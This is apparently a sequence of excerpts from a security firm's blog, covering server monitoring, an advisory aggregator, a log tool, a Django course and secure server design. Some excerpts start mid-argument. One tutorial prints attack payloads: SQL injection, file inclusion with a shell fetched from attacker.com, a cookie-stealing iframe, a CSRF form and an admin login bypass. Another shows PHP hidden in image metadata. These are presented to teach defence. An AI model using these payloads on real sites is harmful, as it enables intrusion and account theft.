• when some malfunction does occur, they can cast a quick glance over the various monitoring gauges, and quickly determine what's the root cause of it;
• they can follow trends in the server metrics, so they can both get insight into issues from the past and predict future behavior.

These are all extremely valuable benefits, and it's widely accepted that the importance of server monitoring is coming second only to the criticality of backups. Yet, there are more servers out there without proper monitoring that you would expect. The main reasons not so setup monitoring are all part of our human nature, and can be summed up to "what a hurdle to install and configure...", "the server is doing it's job anyway..." and my favorite "I'll do it...eventually".

I have some news for the Linux server administrators - you have an excuse no more. We've come up with a web monitoring system for your servers that is easy to setup, rich in functionality and completely free (at least for the time being). Go on and see a demo of it, if you don't believe me. If you decide to subscribe, it will take less than 1 minute. Adding a machine to be monitored basically boils down to downloading a Bash script and setting it up as a cron job (you'll get step-by-step instructions after you log in and add a new server record on the web). And if you want to integrate S2Mon into a custom workflow/interface of yours, there is API access to everything (in fact, the entire S2Mon website is one big API client).

Once you hook up your server to the system, you will unlock a plethora of detailed stats, presented in interactive charts like this one:

What we see above is a pretty picture of the load falling on the Apache web server. Apparently we've had the same pattern repeating during the last week. That's a visual proof that the web server workload varies a lot throughout the day (nothing unexpected, but we can now actually measure it!).

OK, I now want to see how are my disk partitions faring, and when should I plan for adding disk space:

Both partitions are steadily growing, but if the rate is kept, there should be enough space for the next 5-6 months.

Hey, you know what, I just got some complaints from a user that a server was slow yesterday, was there anything odd?

Yep, most definitely. The load was pretty high throughout the entire afternoon. Believe it or not this time it was not his virus-infested Windows computer...

Your boss wants some insight on a specific network service, say IMAP? There you go:

Wonder what your precious CPU spends its time on? See here:

As you see, S2Mon can provide you with extremely detailed stats ready to be used anytime you need them. Of course, there is a lot more to it, and I'll cover more aspects of the setup, configuration and the work with S2Mon it in the next parts. As always, feedback is more than welcome!

Not really. See, there is the problem of information overflow. There is really a lot of sources of security information, each of them spewing dozens of articles every given day. To make it worse, very few of those articles are really relevant to you. So, if you do want to track them, you end up manually reviewing 99% of junk to get to the 1% that is really relevant to your setup. A lot of system/security administrators are spending several dull hours every week to go through reports that rarely concern them. Some even hire a full-time dedicated operators to process the information. Others simply don't care about the advisories, because the review process is too time-consuming. 

Well, we decided we can help with the major pains of the advisory monitoring process. So we built Web Security Watch (WSW) for this purpose. This website aggregates security advisories coming from multiple reputable sources (so you don't miss anything), groups them together (so you don't get multiple copies), and tags them based on the affected products/applications. The last action is particularly important, as tags allow you to filter just the items that you are interested in, e.g. "WordPress", "MySQL","Apache". What's more, we wrote an RSS module for WordPress, so you can subscribe to an RSS feed which only contains the tags you care about. A custom security feed just for you - how cool is that? Oh, and in case you didn't notice - the site is great for security research. And it's free.

Even though WSW is quite young, it already contains more than 4500 advisories, and the number grows every day. We will continue to improve the site functionality and the tagging process, which is still a bit rough around the edges. If you have any feature requests or suggestions, we would be really happy to hear them - feel free to use the contact form to get in touch with us with anything on your mind.

Now, to return to my original question. You can't really tell if your site/server is secure until you see it from the eyes of a hacker. And that requires some capable penetration testers. Even after you had the perfect penetration test performed by the greatest hackers in the world, however, you may end up being hacked and defaced by a script kiddie on the next week, due to vulnerability that just got disclosed publicly.

Which gets me to the basic truth about staying secure - security is not a state, it's a process. A large part of that process is staying current with the available security information, and Web Security Watch can help you with that part.

Fish Fight - a multi-platform campaign produced by KEO Films and led by TV campaigner Hugh Fearnley-Whittingstall - has ignited earlier this week a campaign promoting the Fish Fight initiative by explicitly drawing the attention to every person who has supported them. The time for the kick off was strategically chosen - prior to an important CFP meeting in Brussels. Making every single voice count could eventually impact the decision making process in the EU.

In order to make this happen they needed a new webpage vesting the idea. Not an ordinary webpage but a special one. They needed a really long webpage which would list all of its 830k+ supporters. A deep dive indeed.

We took the commission and created the webpage. The main challenge before us was squeezing a content so enormous (three times larger than Tolstoy's “War and Peace”) in a smoothly working and convenient webpage that could perform well on desktop browsers as well as on smartphone’s OS. Just imagine scrolling down to the line 123 945 for finding your name on the wall of glory of FishFight. Good news is it won’t take you a whole day - we made it quick. Bad news is - you’ll need a really long display. Thank you iPhone for making this hypothetically possible!

You should definitely check out Hugh's Fish Fight 834,000 Names under the Sea webpage with the new apple wonder:

Well if you don’t have it yet, don’t panic - just run the site on your preferred device and dive as deep as you can.

See it at www.fishfight.net

So, what solutions do we have at our disposal? The most noteworthy are Splunk (hosted service, expensive) and Logstash (Java, pain to install, maintain and customize). I did not like any of them. What I did like was Sentry, which has a logging client (called Raven) available in dozen languages. The only problem is that Sentry is meant for handling exceptions coming from applications - not for general purpose logging. 

Yet, Sentry has a lot of the features that we do need:

• Centralized logging with nice Web UI
• Users, permissions, projects
• Aggregation, so that similar log messages get grouped together
• Quick filters, letting you hide message classes you do not care about
• Plugin system that lets you write your own message processing 
• Flexible and easy to use logging clients

Since we already had Sentry for handling in-app logging, enabling it to handle general-purpose server logs felt like a very compelling idea. So we did it...

Enter PyLogWatch

... by writing a Python app that parses log files and feeds them to Sentry. The application is very small and simple, and you can run it on any server with a recent version of Python. You don't need to be root, there is no long-running daemon, and no special deployment considerations - just download, configure, run (by cron, or via other means of scheduling). Of course, PyLogWatch relies on you having a Sentry server, but that's not too hard to install either (see the docs), and you can always use the very affordable hosted Sentry service (see the pricing), which features a limited free account.

The PyLogWatch project is still in its infant stages - there are just a couple of *very* basic parsers (for Apache error logs and for syslog files), and no extensions for the Sentry server yet. Nevertheless, it has already proven very useful to us, since it enabled our developers to closely track the Apache error log files for the applications they "own", and swiftly react to any problem that shows up. In practice, each error line generates a "ticket" in Sentry, and it sticks up there until a project member explicitly marks it as resolved. As an optional feature, all project members receive an email whenever there is a new entry waiting to be resolved. 

What I love about this project is that it is a pretty much blank sheet of paper. I believe that using the combined power of custom parsers and Sentry plugins can yield magnificent results.

So what tool are you using for log tracking? What would do you like/dislike about it, and what would you ideally like it to do? Feel free to share your thoughts.

With the development of the computers and the communication technologies, the question of the security is becoming more and more pressing. Nowadays, every individual has some kind of presence on the Internet. This is true to a much greater extent for the companies - you simply cannot do business if you do not use Internet and/or web-based solutions - ERP applications, collaboration tools, you name it. This is raising many questions, such as "How secure is the information of my company?"; "How secure is the information of my customers?"; "Can someone access this information without authorization?"; "What do I need to do to protect myself from getting hacked?", etc. These questions are more relevant today than they were in the past. Twenty years ago very few people used computers, and even fewer dealt with information security. For those that did, this was a hobby or a profession, and they had a different way of thinking - if they found a vulnerability in a software or a system, they would report it to the owners, so that they can fix or mitigate it. I remember in the 90's there was a guy that hacked the name server of our university network through the finger daemon, and report it it immediately without doing any harm. Now, when literally everyone has Internet access, things are quite different. Anyone can download working exploits for recently published vulnerabilities; there are tools that can automate most of the tasks you would go through to hack a website; and do not forget Google and Shodan, which you can use to find vulnerable targets. This is making "hacking" (if you can call it that) very easy.

Why the Web Application security matters?

Under these circumstances, it is not hard to answer this question. Since virtually anyone has access to "hacking resources", the threat to the information security has increased enormously. With the migration to the Web applications, combined with the whole fuzz around the cloud computing, the focus of the security specialists and researchers has shifted. On one hand, it is harder to find a remote exploit for the operating systems. On the other hand, it is much easier to target and compromise a Web application. Often, the only thing you need to do that is a Web browser - take the LFI, RFI, File Upload, SQLi. If the application is vulnerable to LFI, you can include the process environment, which is going to be parsed by the PHP interpreter. If you change the User-Agent to a PHP code, it will be executed, giving you a remote command execution. If there is an RFI, you can include a Web shell from a remote server, and so on. Additionally, the vulnerabilities are announced publicly, sometimes even before there is a patch for them. Yeah, but

why on earth would someone attack my company?

Well, the motivation of the hacker can be different - industrial espionage; getting a stepping stone (hopping station) for carrying out attacks on other machines/networks; real or imaginary profit; revenge, hacktivism, etc. Anyone can target any company even for no particular reason, so

what could be the damage?

No matter the motivation of the attacker, their actions can cause huge financial losses, loss of reputation and trust, law suits. If a server is hacked and used as a hopping station to target other networks, it may be confiscated by the law enforcement, which can lead to additional losses. If its content is deleted, this can directly affect the productivity. A compromise of a server can lead to attacks on the internal networks of the company. That is why, we need to know what are

the Most Common Vulnerabilities in the Web Applications

The Open Web Application Security Project (OWASP) defines ten categories, which combine "the most serious risks for a broad array of organizations." Below, we will outline some of the most common vulnerabilities we have met in the course of our work. Probably the most common and the easiest one to exploit is

SQL Injection - Exploiting the Developer

Almost every dynamic Web application uses some kind of database backend. The content displayed to the application users is stored in the database and displayed in the browser, depending on the parameters passed by the underlying scripts to the backend. These parameter, however, depend on the user behavior, and can, therefore, be modified by them. This is the basic functionality of the Web application. The problems arise when the parameters are passed to the database without any sanitizing. This allows malicious users to close the legitimate query and pass their own queries to the database and get the results one way or another. In other words, SQL Injection exploit the assumptions, made by the application developers. For example, when the developer produced the following code:

$sql = '
SELECT *
FROM products
WHERE id = ' . $_GET['id'];

they wanted the script to query the database for products matching a given ID that is passed as a GET parameter. That is, if the visitors access http://target.com//vulnerable_script.php?id=1, they would see the details for the product with ID 1. The database query will look like this:

SELECT *
FROM products
WHERE id = 1

In this particular case, the developers assumed that the 'id' parameter would always be an integer. However, since the value of the 'id' parameter is passed to the database by the user without any filtering, a malicious user can input the following URL in the browser: http://target.com//vulnerable_script.php? id=1+union+select+0,1,concat_ws(user(),0x3a,database(),0x3a,version()),3,4,5,6-- In this case, the DB query will look like this:

SELECT *
FROM products
WHERE id = 1
union all
select 0,1,concat_ws(user(),0x3A,database(),0x3A,version()),3,4,5,6

Basically, this tells the database to display the information about the product with ID 1 and combine it with a set of data that contains the information about the user, the name of the database and the version of the database server. This information is selected in the third column, separated by colons (0x3A). To make this query, the attacker needs to know the number of the columns in the database. This information can be easily obtained by several requests that instruct the database to display the data, ordered by a particular column. This is a basic example for a regular Union SQL Injection. There are other flavors of SQLi - error-based, time-based blind boolean-based blind. Error-based SQL Injection attacks rely on extracting information from the errors, returned by the database. There is a nice introductory tutorial on error-based SQLi on Youtube. Surprisingly often, developers think that when they hide the errors from the output, they have resolved the vulnerability. Of course, this is not the case - the fact that you cannot see the data, returned by the database (union-based) or the errors (error-based), does not mean that the script is not vulnerable. In these cases, an attacker can use Blind SQL Injection to exfiltrate data, i.e. brute-force the data, based on boolean or time-based conditions. In these cases, you will pass queries that will inspect the responses of the database server and reconstruct the data. Of course, the attackers and pentesters are not stuck with the browser to exploit these vulnerabilities. There are numerous tools that will automate the process. The best one is sqlmap. Bernardo and Miroslav have done amazing job developing this tool. There are several things that can be done to prevent SQL Injection. The most widely used method is

filtering the user input

This method is the easiest to implement and if not implemented properly, it can be bypassed. There are numerous techniques to bypass defenses, based on input filtering - case tampering, white space tampering, encoding the queries. A lot better defense against SQLi is to use

parameterized queries

or "prepared statements". These are essentially templates for SQL queries, which contain spaces where the user input will go. When the filled-in template is passed to the database, the entire user input would be in the space allocated for it in the template. The database will execute the query from the template, instead of the query that may be supplied in the user input. Alternatively, developers can use

ORM (Object Relational Mapping)

This is a technique for object conversion, which converts the tables in the database to scalar variables, creating a virtual database. In practice, the ORM systems generate parameterized queries. The second most common vulnerability in Web applications is

File Inclusion - Exploiting the Functionality

This is another vulnerability that is fairly easy to find and exploit. Essentially, this is the ability to include files from the machine on which the application runs, or from a remote server, visible to this machine. The possibility to include different scripts is essential for the work of every application - this is how the application logic is abstracted or how different pages are displayed, depending on the user choice. Let's take a fairly simple website that has four pages: Home, News, About Us, Contacts. If the visitor accesses the Home page, the URL they will use would look like that:

http://target.com/vulnerable_script?page=home

In other words, the script accepts one parameter (page), which value specifies the page that is requested by the visitor. Let's assume that the script has the following code:

<?php
$page = $_GET['page'];
if(isset($page)) {
include("$page");
}
else {
include("vulnerable_script.php");
}
?>

The code is self-explanatory - the value of the GET parameter page is assigned to a variable 'page'. If its value is not NULL, the script includes the script with a name that is the same as the value. The problem with this code is that the page variable is created from the user input without any checks or filtering. Therefore, if we access the following URL:

http://target.com/vulnerable_script?page=../../../../etc/passwd

the script will include and display the contents of the UNIX password file. This is a very simplified example of LFI. Often, programmers think that to secure the script above, they only need to add one little modification:

<?php
$page = $_GET['page'];
if(isset($page)) {
include("$page" . ".html");
}
else {
include("vulnerable_script.php");
}
?>

The only difference here is that a .html extension is added to the page that is included. However, by simply appending a null character (%00) to the URL, the attacker would still be able to include arbitrary files. This depends on the server configuration, the PHP version and may not work in all cases. In other cases, the developers use the file_exists() function, but this is functionality check, not a security one, because it does not limit the ability to include existing files. LFI vulnerabilities can easily lead to command execution in some cases. To achieve this, a malicious user can use the /proc file system, which is used in Linux as an interface to the kernel of the Operating System. Let's say that, again, we have a script that is vulnerable to LFI. To gain the ability to execute commands on the server, a malicious user can include /proc/self/environ. This is the environment of the current process - it contains the environmental variables for the running process. Besides the system environmental variables, it also contains the CGI variables (REMOTE_ADDR, HTTP_REFERER, HTTP_USER_AGENT, etc.) So, if the hacker changes the User-Agent header, passed to the server to a PHP script, the script will be parsed by the PHP interpreter and executed on the server. So far, we've looked into the ability to include files locally from the server, on which the vulnerable script is running. To include files from remote locations is not that different. Actually, if the server configuration allows the inclusion of remote scripts, and if the script is vulnerable, the only difference will be in the URL - the attacker would just have to use an address, such as

http://target.com/vulnerable_script?page=http://attacker.com/php_shell.txt%00

The file php_shell.txt will be included by the vulnerable script and parsed by the interpreter and executed locally on the server, effectively giving the attacker web shell access to the machine. Much like the SQL Injection vulnerabilities, the File Inclusion vulnerabilities are fairly easy to find and exploit. They are too a result of bad programming. Another such result is the

Arbitrary File Upload or Exploiting the Hostpitality

We have previously posted about these type of vulnerabilities, so we are going to skip this one here. The truth is that it is not just media upload forms that can be exploited. Any file upload script can be used. There may not even be an HTML form; the attackers can just make a request to the script. Even if we have a secure application, we should always be watching for

Unprotected Files or Exploiting the Negligence

People often make mistakes because of negligence. Developers and/or system administrators are not an exception to this rule. With the correct Google dorks we can find numerous configuration or backup files with database connect strings, scripts with improper content type that would be downloaded instead of executed in the browser, file managers with poor or no authentication, and so on. It may sound weird, but this is a fairly common mistake. Imagine that the developer of a web application has to make a quick change on the production server. They create a backup of the script that are about to change, and then leave the backup file with a .bak extension on the server. Even if the script does not contain sensitive data, such as usernames and passwords, it will still represent a security issue, because the backup file will most probably be downloaded by whoever accesses it. In another scenario, the Web application may use a Rich Text Editor, such as FCKEditor. There are lots of vulnerable versions of such editors that allow unauthenticated users to upload arbitrary files. The main reason for this security hole is the fact that people place files where they are not supposed to. To avoid this, you need to make sure that all files that should not be accessible over HTTP be placed outside the Web root directory. If for some reason this is not possible, these files should be protected properly. Probably the most common and overlooked vulnerability is

XSS or Exploiting the User

There are situations, in which the Web application allows us to get to the server through the user. The XSS (Cross-Site Scripting) vulnerabilities allow the attacker to inject custom scripts, which are executed in the context of the browser of the webapp user. This is due to improper validation of the output. There are two kinds of XSS vulnerabilities: persistent (stored) and non-peristent (reflected). Persistent XSS attacks store the injected code on the server and it is executed each time the page is displayed to the visitors. Here is an example scenario that uses stored XSS to get the cookie of the Web application user.

• The attacker creates a script on their server that will collect the cookies.
• The attacker injects the following hidden iframe in the application:

<iframe frameborder=0 height=0 width=0 src=javascript:void(document.location=”attacker.com/get_cookies.php?cookie=” + document.cookie)></iframe>

• An authenticated user loads the page that contains the iframe.
• The cookie is sent to the script, which writes it to a file or a database.
• The attacker loads the cookie in their browser and is able to authenticate as the user.

Non-persistent XSS attacks are essentially the same; the only difference is that the injected code is not stored on the server. Instead, the attacker needs to trick the user to follow a link. Although XSS attacks usually attempt to steal cookies, this is not always the case. They may be used to target the passwords saved in the browser, and let's not forget BeEF. This means that setting the HttpOnly flag is not enough to protect the Web application users from XSS attacks. The best protection will be to validate and sanitizing the input and the output of the application alongside with tightened cookie security policies. A close relative of the XSS is the

XSRF or Exploiting the Browser

In its essence, the Cross-Site Request Forgery (CSRF or XSRF) attack is a hybrid between an XSS and a LFI attack. XSRF attacks are a way to issue commands from a user that the Web application trusts. Suppose we have a page in our Web application where the users can change their passwords. If the form is vulnerable to XSRF, the attacker can exploit this vulnerability to reset the password of the user. Here is how such an attack will take place:

• The attacker creates their own form on their server:

<html>
    <head></head>
    <body onLoad="javascript:document.password_form.submit()">
        <form action="https://target.com/admin/admin.php?" method=post name="password_form">
            <input type=hidden name=a value=change_password>
            <input type=password name=password1 VALUE="new_pass">
            <input type=password name=password2 VALUE="new_pass">
        </form>
    </body>
</html>

• The attacker creates a seemingly empty HTML page, which contains a hidden iframe or an img tag that loads the form.
• The attacker tricks the user to access the page (the user has to have an active session with the Web application).
• The form submits the data to the server, effectively changing the password.

The only difficult thing in the attack is to trick the user to visit the page, while being logged in the application. This may be achieved with a spoofed e-mail, instant message, and so on. To protect users against such attacks, developers need to use anti-XSRF tokens in POST requests. Additionally, user actions, such as changing their passwords, should require an additional confirmation, usually, the users should enter the old passwords. Both CSS and CSRF attacks attempt to steal user accounts. This can also be achieved via attacking the

Authentication and Authorization or Exploiting the Implementation

We all know that assumptions are bad, but we still continue to assume. Fairly often the developers of the application make assumptions on how the authorization and the authentication of the users should work. These assumptions are sometimes wrong, and malicious users can conduct actions that do not always match whatever the developers have taken for granted. Let's take one of the most famous shopping cart scripts for an example. Here is how the administrators of the application log in to the administrative interface.

• The administrator accesses http://target.com/catalog/admin.
• The script redirects to the login.php script.
• The administrator enters their login credentials.
• The script checks the login credentials.
• If they are correct, the administrator is logged in.
• If they are not correct, the script asks the user for their login credentials again.

This is achieved by showing the login.php script to every unauthenticated user of the appl
ication. Let's see part of the code of the script. The login.php script contains the following code:

require('includes/application_top.php');

and here is the part of the application_top.php script that checks if the user is authenticated:

// redirect to login page if administrator is not yet logged in 
if (!tep_session_is_registered('admin')) { 
$redirect = false; 
$current_page = bassename($PHP_SELF); 
if ($current_page != FILENAME_LOGIN) { 
if (!tep_session_is_registered('redirect_origin')) { 
tep_session_register('redirect_origin'); 
$redirect_origin = array('page' => $current_page, 'get' => $HTTP_GET_VARS); 
} 
$redirect = true; 
} 
if ($redirect == true) { 
tep_redirect(tep_href_link(FILENAME_LOGIN)); 
} 
unset($redirect); 
}

What it basically does is check if the basename of $PHP_SELF is login.php. If it is login.php, then it serves the page; otherwise you will be redirected to login.php. Now, imaging that the attackers accesses the following URL:

http://target.com/catalog/admin/file_manager.php/login.php

The basename of $PHP_SELF is login.php, so the redirect is completely bypassed and the script renders the page, which, is of course, file_manager.php.

The attacker can also make a POST request to http://target.com/catalog/admin/administrators.php/login.php?action=insert and add themselves as a site administrator, upload a Web shell, and so on, and so forth.

Such vulnerabilities are due to mistakes in the programming. They are a bit harder to detect by the attackers, but they are extremely unpleasant, as they give access to the application to unauthenticated users.

To avoid these vulnerabilities, the logic of the application has to be very well planned, and the the implementation should be thoroughly tested.

Of course, there are other vulnerabilities , and attacks that are hybrids of the attacks described above. There is no post that can encompass them all. But we can safely say that these are the most common vulnerabilities and attacks on the Internet nowadays.

In a follow-up post we will discuss the defense and the penetration tests as part of the defense.

This article is translated to Serbo-Croatian language by Anja Skrba from Webhostinggeeks.com.

1. Installing Python on Windows

2. Introduction to the Python interactive console and demonstrating basic Python constructs/syntax

3. Installing Django on Windows and playing with PYTHONPATH  + startproject

4. Installing Django on Linux; playing with runserver

5. Django Tutorial Part 1 

• Folder structure
• Running the development server
• Database setup
• Models/ORM
• Playing with the models from the command line

6. Django Tutorial Part 2

• Activating the Admin App
• Adding our models to the Admin
• Customizing the ModelAdmin

7. Django Tutorial Part 3

• Routing addresses with the URL dispatcher
• Writing views and rendering templates
• Using template constructs
• Named URLs and URL reversal in code/templates
• Template resolution
• Overriding Admin templates
• Dealing with static media

8. Django Tutorial Part 4

• Working with basic forms
• Showcasing ModelForms
• ModelForm security considerations

9. Making your life easy with Django Debug Toolbar

So there you have it - a Python fanboy trying to convince developers that they deserve better than PHP, during a 4-hour Django intro full of hate, love and ponies. The course is completely free, so do come by if you're in the mood for some webdev action!

So the developers applied the following fix:

$valid = false; if(preg_match('/^image/', $_FILES['file']['type'])) { $info = getimagesize($_FILES['file']['tmp_name']); if(!empty($info)) $valid = true; } elseif(preg_match('/^video/', $_FILES['file']['type'])) { $valid = true; } else { @unlink($_FILES['file']['tmp_name']); }
if($valid) { move_uploaded_file( $_FILES['file']['tmp_name'], 'images'.'/'.$_FILES['file']['name'] );

The code is now checking the type of the file and size of the images. However, there are a few issues with this check:

• the type of the file is checked via the Content-Type header, which is passed to the script by the client, and therefore, can be easily modified;
• the script is not checking the file extension, and you can still upload a .php file;
• the check for the videos is only based on the Content-Type header.

Evasion

It is fairly easy to evade this kind of protection of file upload forms. The easiest thing, of course, is to upload a PHP script, by changing the Content-Type header of the HTTP request to image/video. To do this, you need to intercept the outgoing HTTP request with a local proxy, such as Burp or Webscarab, but Tamper Data for Firefox will do just fine. You can also upload a valid image and insert PHP code in the EXIF. To do this, you can insert the code in the Comments field, e.g.:

$ exiftool -Comment='' info.php 1 image files updated

When you upload the image with a .php extension, it will be interpreted by the PHP interpreter, and the code will be executed on the server. Depending on the server configuration, you might be able to upload the image with .php.jpg extension. If the check for the extension is not done correctly, and if the server configuration allows it, you can still get code execution. Easy, eh?

Protection

So what can be done to prevent this? With a mixture of secure coding a some server-side tweaks, you can achieve a pretty secure file upload functionality.

• [Code] Check for the Content-Type header. This may fool some script kiddies or less-determined attackers.
• [Code] Check for the file extension. Replace .php, .py, etc. with, say, _php, _py, etc.
• [Server] Disable script execution in the upload directory. Even if a script is uploaded, the web server will not execute it.
• [Server] Disable HTTP access to the upload directory, that is if the files are only meant to be accessible only from scripts using the file system.Otherwise,  although the script will not be executed locally on the server, it could still be used by attackers in Remote File Inclusion attacks. If they target another server with an application that has an RFI vulnerability and allow_url_include is on, they can upload a script on your server and use it to get a shell on the vulnerable machine.

Conclusion

Developers often forget that relying on client-side controls is a bad thing. They should always code under the assumption that the application may be (ab)used by malicious user. Everything on the client side can be controlled and therefore, evaded. The more you check the user input, the better. And of course, the server configuration should be as hardened as possible.

The principle we followed was "deny all, allow certain things." Therefore, the main design principles are:

• Close all doors securely.
• Open some doors.
• Closely monitor the activity of the doors you opened.
• Always be alert and monitor for suspicious activity of any kind (newly opened doors, unknown processes, unknown states of the system, etc)

Server installation and setup notes

• Install a bare Linux, no services at all running ("netstat -lnp" must show no listening ports).
• Install an intrusion detection system (which monitors system files for modifications).
• Use the 'grsecurity' Linux kernel patches - they help against a lot of 'off-the-shelf' exploits
• (door #1) Install the OpenSSH server (22 port), so that you can manage the server.
  • Disallow password logins, allow ONLY public keys, SSH v2.
  • Set PermitUserEnvironment to "yes".
  • Set a "KEYHOLDER" environmental variable in the ~/.ssh/authorized_keys file.
  • Send an e-mail if the KEYHOLDER variable is not set when a shell instance is started.
• Set up an external DNS server in "/etc/resolv.conf" for resolving.
• (door #2) Install a web server, for example Apache.
  • Leave only the barely needed modules.
  • Set up the vhost to work only with SSL, no plain HTTP (http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html).
  • Purchase an SSL certificate for the server's vhost, so that clients can validate it.
  • Do not set up multiple vhosts on the server; this server will have only one purpose - to store and send data securely; don't be tempted to assign more tasks here.
  • Install a Web Application firewall (mod_security, etc.) - it will detect common web-based attacks. Monitor its logs.
  • Limit HTTP methods to good ones only, unexpected HTTP methods should get into the error logs and raise an eyebrow (generate alerts).
  • Disable directory listing in Apache.
  • Disable multiviews/content negotiation in Apache if your app does not rely on them.
• Install an Application Firewall (e.g. AppArmor) - apps should not try to access resources they have no (legal) business with. For example, Apache should not try to read into /root/.
• Install a MySQL server, bind it to address 127.0.0.1 so that network usage isn't possible.
• Install a mail server like Exim or Postfix but let it send only locally generated e-mails; there is no need to have a fully functional mail server, listening on the machine.
• Firewall INPUT and FORWARD iptables chains completely (set default policy to DROP), except for the following simple rules:
  • INCOMING TCP connections TO port 22 FROM your IP address(es) - allow enough IP addresses, so that you don't lock yourself out;
  • INCOMING TCP connections TO port 443 FROM your clients' IP address(es) - the CRM application's IP address, etc.;
  • Allow INCOMING TCP, UDP and ICMP connections which are in state ESTABLISHED (i.e. initiated by the server or on the SSH port).
• Log remotely, so if the system does get compromised, the attacker wouldn't be able to completely cover their traces. Copying over the log files on designated intervals is OK-ish, but real-time remote logging (like sysylog over SSL) is much better, as there would be no window where the logs could be erased/tampered with. Make an automatic checker which confirms that the remote logs, and the local logs are the same - an alarm bell should go off if they aren't.

Door #1 (SSH) can be considered closed and monitored:

• It works only with few IP addresses.
• Does not allow plain text logins, so brute-force attacks are useless.
• A notification is sent when the door is opened by unauthorized users.

Door #2 (web server) must be taken special care of.

• Review the access log of the server daily in regards to how many requests were made => if there are too many requests, then review the log manually and see which application/user made the requests; set a very low threshold as a start and increase it accordingly with time.
• Review the error log of the server => send a mail alert if it has new data in it.

Consider using some kind of VPN (e.g. PPTP/IPSec/OpenVPN) as an added layer of network authentication. You can then bind the web server to the VPN IP address (so direct network access is completely disabled) and set the firewall to only allow the internal VPN IPs on port 443.

General server activity monitoring

• Set the mail for "root" to go to your email address (crontab and other daemons send mail to "root").
• Review the /var/log/syslog log of the server => send a mail alert if there is new data in it.
• Do a "ps auxww" list of the processes => if there are unknown processes (as names, running user, etc) => send a mail alert to yourself.
• Do a "netstat -lnp" list of the listening ports => mail alert if something changed here.
• Test the firewall settings from an untrusted IP - the connections must be denied.

Finally, update the software on the server regularly. E-mail yourself an alert if there are new packages available for update.

Application Design Notes

The SSL (HTTPS) vhost will most probably run mod_php. When designing the application, the following must be taken care of:

• Every user working with the system must be unique. Give unique login credentials to each of the employees, and let them know that their actions are being monitored personally, and they must not in any case give their login credentials to other employees.
• Enforce strong passwords. There are tips in the OWASP Authentication Cheat Sheet.
• If the employees work fixed hours, any kind of login during off hours should be regarded as a highly suspicious event. For example, if employees work 9am-6pm, any successful/unsuccessful login made  between 6pm - 9am  should trigger an alert.
• Store any data in an encrypted form; use a strong encryption algorithm like AES-256.
• Encrypt the data with a very long key.
• Optional but highly recommended - do not store the key on the server. Instead, when the application is being started (for example when the server has just been rebooted), it must wait for the password to be entered. An example scenario is:
  • The application expects that the encryption key would be found in the file /dev/shm/ekey; /dev/shm is an in-memory storage location - it doesn't persist upon reboots;
  • Manually open the file /dev/shm/ekey-tmp with "cat > /dev/shm/ekey-tmp", enter the password there, then rename the file to "/dev/shm/ekey";
  • The application polls regularly for this file, reads it and then immediately deletes it;
  • Wait and verify that the file was deleted from /dev/shm.
  • Now your key is stored only in memory and is much more harder for an attacker to obtain it.
• Set up the webapp access the MySQL server though an unprivileged user, restricted to a single database (*not* as MySQL's root).
• Develop ACL lists on who can see what part of the information; split the information accordingly.
• Every incoming GET, POST, SESSION or FILES request must be validated; do not allow bad input data.
• Every unknown/error/bad state of the system (unable to verify input data, mysql errors, etc) must be mailed to you as a notification (do not mail details in a plain-text email, just a notification; then check it via SSH on the server).
• Code should be clean and readable; do not over-engineer the system.
• Make a log entry for EVERY action - both read and write ones; do NOT store any sensitive data in the logs.
• Ensure that the application has a “safe mode” to which it can return if something truly unexpected occurs. If all else fails, log the user out and close the browser window.
• Suppress error output when running in  production mode - debug info on errors should only be sent back to the visitor in *development* mode. Once the app is deployed debug output = leaking sensitive information.
• Backup the data on an external server. The backup should be carried over a secure connection and kept encrypted.

So far so good. Up to now, we should have a system which is secure, logs everything, sends alerts and can store and retrieve sensitive data. The only question is - how do we authenticate against the system in a secure manner?

The best way to achieve this is to implement a two-factor authentication: a username/password and a client certificate.

• Set up your own CA and issue certificates for your employees:
• Keep the CA root certificate in a secure place!! Nobody must be able to get it, or else your whole certificate system will be compromised.
• Set up the web server vhost to require a client certificate (How can I force clients to authenticate using certificates? from http://httpd.apache.org/docs/2.2/ssl/ssl_howto.html). This way, right after somebody opens up the login page, you would already know what client (employee) certificate they are using.
• The client certificates must be protected with a password; this makes the security better - in order to log in, you must fist unlock your client certificate with its password, then open the login page and provide your own user/pass pair.
• Consider using turning-test based login forms, e.g. http://community.citrix.com/display/ocb/2009/07/01/Easy+Mutli-Factor+Authentication . This will protect the passwords against keyboard sniffing.
• The web server must
  • match each user/pass to their corresponding certificate;
  • have an easy mechanism for certificate revoking (disabling), in case you decide to part your way with an employee of yours.
• Once logged in, create a standard PHP session and code as usual.
• The most critical and important (and not very often) operations should be approved only once the user re-enters their password; this prevents replay attacks. For example, if you want to view the whole credit card number info (and you don't usually need this), the system will first ask you "Re-enter your password and I'll show you the information". Banks usually use this kind of protection method for every online transaction.
• Expire sessions regularly - in a few hours or less of inactivity.
• If possible, tie every session to its source IP address; that is - log the IP address upon login and don't allow other IP addresses to use this session ID. Note: some providers like AOL (used to) have transparent IP balancing proxies and with them the IP address of a single client may change in time; you cannot use this security method if you have such clients (try it).

Having a system like this should be protected against most attacks. Here are a couple of scenarios:

• Brute-force attacks at the login page - they will not succeed because a user/pass + client certificate are required. Actually, without a certificate, the login page will not be displayed at all.
• Someone steals a user laptop - they cannot use the certificate (even if they know the user/pass pair), because they don't know its password.
• Someone sees a user entering their passwords - they cannot use them because they don't have your client certificate.
• An employee starts to harvest the customer data - you have a rate limit of requests per employee, and also a general rate limit of requests to your database - you get an alert and investigate this further manually (you have full logs on the server).
• Someone hacks into your server and quickly copies the database + PHP scripts onto a remote machine - they cannot use the data, because it is encrypted and you never stored the key in a file on the server - you enter the key every time manually upon server start-up.
• Someone initiates a man-in-the-middle attack and sniffs your traffic - you are using only HTTPS and never accept/disregard SSL warnings in your browser - you are safe, the traffic cannot be read by third parties.
• Someone totally gets control over a user computer (installs a key logger and copies your files) - you are doomed, nothing can help you, unless the compromised does not go unnoticed.
• Someone really good hacks your server and spends a few days learning your system - if the intrusion detection system, and the custom monitor scripts didn't catch the hacker, and he spent days on your server trying to break your system, then you are in real trouble. This scenario has a very low probability; really smart hackers are usually not tempted in doing bad things.

The integration of such a secure database system could be easy. For example, if you have a customer with name XYZ, you can assign a unique number for this customer in your CRM system. Then you can use the secure storage to save sensitive data about this customer by referring to this unique number in the secure database system. It is true that your employees will have to work with one more interface, the interface of the secure database system, but this is the price of security - you have to sacrifice convenience for it.

Conclusion

